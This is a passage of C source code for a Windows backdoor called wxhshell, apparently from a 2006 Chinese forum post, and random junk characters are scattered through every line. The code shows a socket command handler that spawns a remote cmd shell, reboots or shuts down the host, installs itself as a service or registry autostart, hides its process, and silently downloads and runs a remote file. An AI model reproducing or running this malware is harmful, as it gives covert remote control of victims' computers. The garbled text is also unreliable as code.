    switch(cmd[0]) { P gK> Z,  
  (n3MbVi3LU  
  // 帮助 RYem(%jq  
  case '?': { Z/w "zCd  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x;p7n 2_  
    break; -P7JaH/Q  
  } 25CO_  
  // 安装 |$aTJ9 Iq:  
  case 'i': { >,s.!vpK  
    if(Install()) ;^Hg\a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &$+nuUA  
    else dE0 p>4F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vv3{jn6%  
    break; +U];  
    } 9 9S-P}xd  
  // 卸载 VwxLElV  
  case 'r': { huw|J<$  
    if(Uninstall()) wc.T;(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H|i39XV  
    else J_ S]jE{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?,0 5!]  
    break; .S =^)  
    } qe"t0w|U?  
  // 显示 wxhshell 所在路径 7 G<v<&  
  case 'p': { 3'D<'S}[  
    char svExeFile[MAX_PATH]; $^;b 1bnO  
    strcpy(svExeFile,"\n\r"); /,m!S RJ  
      strcat(svExeFile,ExeFile); 8#&axg?a  
        send(wsh,svExeFile,strlen(svExeFile),0); #\X="' /  
    break; Yl!~w:O!o  
    } + IpC  
  // 重启 xesZ 7{ o  
  case 'b': { Gcz@z1a=n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4OOH 3O  
    if(Boot(REBOOT)) pk,]yi,ZF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,]UCq?YW)T  
    else { N akSIGm  
    closesocket(wsh); fXJbC+  
    ExitThread(0); [TFd|ywn  
    } 7(oX 1hN  
    break; vOKWi:-U  
    } Ug1n4X3FKn  
  // 关机 lE@ V>%b  
  case 'd': { d}`Z| ex  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8Q2qroT  
    if(Boot(SHUTDOWN)) V<%eWT)x7C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9;*-y$@  
    else { &>]c"?C*  
    closesocket(wsh); ;5(ptXX1W  
    ExitThread(0); 8vL2<VT;  
    } /PuN+M  
    break; Sl RQi:  
    } cB ,l=/?  
  // 获取shell vm y?8E6+  
  case 's': { bb ]r  
    CmdShell(wsh); 6bXR?0$*M.  
    closesocket(wsh); ToVi;  
    ExitThread(0); ;&N=t64"  
    break; vL,:Yn@b  
  } &+v!mw>  
  // 退出 Xbp~cn  
  case 'x': { v3`k?jAaI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZFNn(n  
    CloseIt(wsh); &rmXz6 F  
    break; l9eCsVQ~V  
    } dvl'Sq<  
  // 离开 fd<a%nSD  
  case 'q': { CC<(V{Png  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZWH9E.uj  
    closesocket(wsh); Jiv%Opo/|  
    WSACleanup(); !iO%?nW;  
    exit(1); 'zg; *)x1/  
    break; wcI? .  
        } S);SfNh%CL  
  } )*wM DM5q  
  } E1&9( L5  
RrG5`2  
  // 提示信息 p]-\\o}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7|/Ct;oO:  
} $yA>j (k4  
  } x&kM /z?/  
+"i|)yUYy}  
  return; K_" denzT+  
} TOe=6 Z5h  
/#C}1emK  
// shell模块句柄 OrJuE[R.  
int CmdShell(SOCKET sock) >Yf)]e-  
{ G'M;]R9EP  
STARTUPINFO si; K#e&yY  
ZeroMemory(&si,sizeof(si)); k+D"LA%J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mz'r<v2Tc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; BM,]Wjfdj  
PROCESS_INFORMATION ProcessInfo; %]m/fo4b  
char cmdline[]="cmd"; h'tb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &O:IRR7p  
  return 0; Yi5^# G  
} Gz,?e]ZV  
eq!>~: #  
// 自身启动模式 >$RQ  
int StartFromService(void) Pd"=&Az|  
{ z3bRV{{YqN  
typedef struct nN]GO}  
{ 1j!LK-  
  DWORD ExitStatus; w I7iE4\vz  
  DWORD PebBaseAddress; 1_of;=9V  
  DWORD AffinityMask; ;tZ;C(;<  
  DWORD BasePriority; k"z ~>  
  ULONG UniqueProcessId; s)L\D$;+O  
  ULONG InheritedFromUniqueProcessId; t{ R\\j  
}   PROCESS_BASIC_INFORMATION; nsM=n}$5x  
iiw\  
PROCNTQSIP NtQueryInformationProcess; y$Rr,]L  
VPh0{(O^=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;Eer  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '<JNS8h  
D["~G v  
  HANDLE             hProcess; `Q@w*ta)  
  PROCESS_BASIC_INFORMATION pbi; |}-bMQ|  
>STAPrBp+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JqmxS*_P  
  if(NULL == hInst ) return 0; X3dXRDB'  
q^w@l   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CQANex4&\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $SOFq+-T  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L7`=ec<  
f'oO/0lx  
  if (!NtQueryInformationProcess) return 0; sOyL  
^cnTZzT#Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s0To^I  
  if(!hProcess) return 0; $A;%p6PO)  
m4r<=o  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -\9K'8 C  
EEn8]qJC  
  CloseHandle(hProcess); @"G+kLv0  
dHsI<:T#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nf0]<x2  
if(hProcess==NULL) return 0; \V_ Tc`  
Vm*E^ v  
HMODULE hMod; >lV'}0u)  
char procName[255]; Nrn_Gy>|D  
unsigned long cbNeeded; ;Zy[2M  
q21l{R{Y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WbWEgd%8.  
Xmm) z  
  CloseHandle(hProcess); bk=ee7E7>  
LG+2?+tE"  
if(strstr(procName,"services")) return 1; // 以服务启动 0 L$[w  
kj>!&W57  
  return 0; // 注册表启动 sW,JnR  
} i,B<k 0W9  
dJjkH6%}  
// 主模块 M-8`zA2  
int StartWxhshell(LPSTR lpCmdLine) KjNA PfL  
{ _M) G  
  SOCKET wsl; 2j;9USZ p  
BOOL val=TRUE; %#<MCiaK  
  int port=0; |Zk2]eUO+  
  struct sockaddr_in door; b]b+PK*h  
~JS BZ@  
  if(wscfg.ws_autoins) Install(); h5Ee*D e  
>i_ #q$o  
port=atoi(lpCmdLine); l86gs6>  
DS1{~_>nFu  
if(port<=0) port=wscfg.ws_port; ]SmN}Iq1  
Miz?t*|{[  
  WSADATA data; ictV7)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `k6ZAOQtX  
.Im=-#EN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   TjE'X2/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,rS?^"h9  
  door.sin_family = AF_INET; *>h|<|T'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P?ms^   
  door.sin_port = htons(port); 4Ql9VM%y  
b+CJRB1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lc$wjK[w[  
closesocket(wsl); "WzKJwFr  
return 1; EO`eg]  
} rS!M0Hq>t  
T I|h  
  if(listen(wsl,2) == INVALID_SOCKET) { v1rTl5H  
closesocket(wsl); v`@NwH<r  
return 1; /Nkxb&  
} .b? Aq^i8  
  Wxhshell(wsl); 5P{[8PZxbV  
  WSACleanup(); cLf<YF  
`W:z#uNG]  
return 0; ~1&WR`U  
FeZ*c~q  
} Za,myuI+  
\ZA@r|=$  
// 以NT服务方式启动 L54]l^ls>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 61w ({F  
{ b Rc,Y<  
DWORD   status = 0; n?778Wo}  
  DWORD   specificError = 0xfffffff; _G&gF .|  
jU-aa+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %Gl1Qi+Po_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; edo+ o{^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nMK$&h,{  
  serviceStatus.dwWin32ExitCode     = 0; k1.%ZZMM  
  serviceStatus.dwServiceSpecificExitCode = 0; c'>_JlG~  
  serviceStatus.dwCheckPoint       = 0; x"n++j  
  serviceStatus.dwWaitHint       = 0; & 'CUc/,  
JOz4O  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?rjB9AC_;t  
  if (hServiceStatusHandle==0) return; JW!.+ Q  
\(RD5@=!4#  
status = GetLastError(); S1[, al  
  if (status!=NO_ERROR) &1Cs'  
{ ,+ 5:}hR+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; d'"|Qg_'  
    serviceStatus.dwCheckPoint       = 0;  wX5q=I  
    serviceStatus.dwWaitHint       = 0; d N$,AOT  
    serviceStatus.dwWin32ExitCode     = status; !S%0#d2  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1F_$[iIX]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \,fa"^8  
    return; ~yt7L,OQ  
  } `^] D;RfE  
@C<ofg3E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &)jq3  
  serviceStatus.dwCheckPoint       = 0; L6ap |u  
  serviceStatus.dwWaitHint       = 0; SK#&%Yk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $ x:N/mMu`  
} ):_@i  
2]<.m]  
// 处理NT服务事件,比如:启动、停止 yVp,)T9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3FtL<7B '.  
{  \_  
switch(fdwControl) 3vKTCHbk9  
{ 8ok=&Gq4  
case SERVICE_CONTROL_STOP: Vef!5]t5  
  serviceStatus.dwWin32ExitCode = 0; 2kt0Rxg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; DJ DQH\&  
  serviceStatus.dwCheckPoint   = 0; #N"u 0  
  serviceStatus.dwWaitHint     = 0; lWe cxD$  
  { "%)g^Atp>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KIi:5Y  
  } "g)V&Lx#X  
  return; t>AOF\  
case SERVICE_CONTROL_PAUSE: xr{Ym99E$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; WQ}wQ:]  
  break; m^0vux  
case SERVICE_CONTROL_CONTINUE: F(#?-MCs  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $btu=_|f  
  break; co~NXpqg  
case SERVICE_CONTROL_INTERROGATE: yQ$]`hr;  
  break; uorX;yekC  
}; %S"85#R5E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tRpY+s~Fq  
} k qL.ZR  
4g"%?xN  
// 标准应用程序主函数 x(cv}#}S8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P%)r4+at  
{ 6Iqy"MQuq  
pr,,E[  
// 获取操作系统版本 )A xD|A  
OsIsNt=GetOsVer(); I/XSW#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FuBt`H  
v7SYWO#  
  // 从命令行安装 'Y#'ozSQv  
  if(strpbrk(lpCmdLine,"iI")) Install(); m$_b\^we  
J_ h.7V  
  // 下载执行文件 :-5[0Mx=  
if(wscfg.ws_downexe) { I`_I^C3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y X^c}t}U  
  WinExec(wscfg.ws_filenam,SW_HIDE); [8a(4]4  
} v\5O\ I ^  
W} i6{ Vh  
if(!OsIsNt) { F_(~b  
// 如果时win9x,隐藏进程并且设置为注册表启动 tc0;Ake-&  
HideProc(); q~b# ml2QS  
StartWxhshell(lpCmdLine); ":8\2Qp  
} ]c~yMA+]FZ  
else Uffwzd!  
  if(StartFromService()) *d3-[HwZCL  
  // 以服务方式启动 NJQ)Ttt  
  StartServiceCtrlDispatcher(DispatchTable); Sz@z 0'  
else "qNFDr(WM  
  // 普通方式启动 Jz~:  
  StartWxhshell(lpCmdLine); !9WGZfK+0Y  
gK QJ^a\!  
return 0; ;_vhKU)%J#  
}
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只看该作者 1 发表于: 2006-10-10
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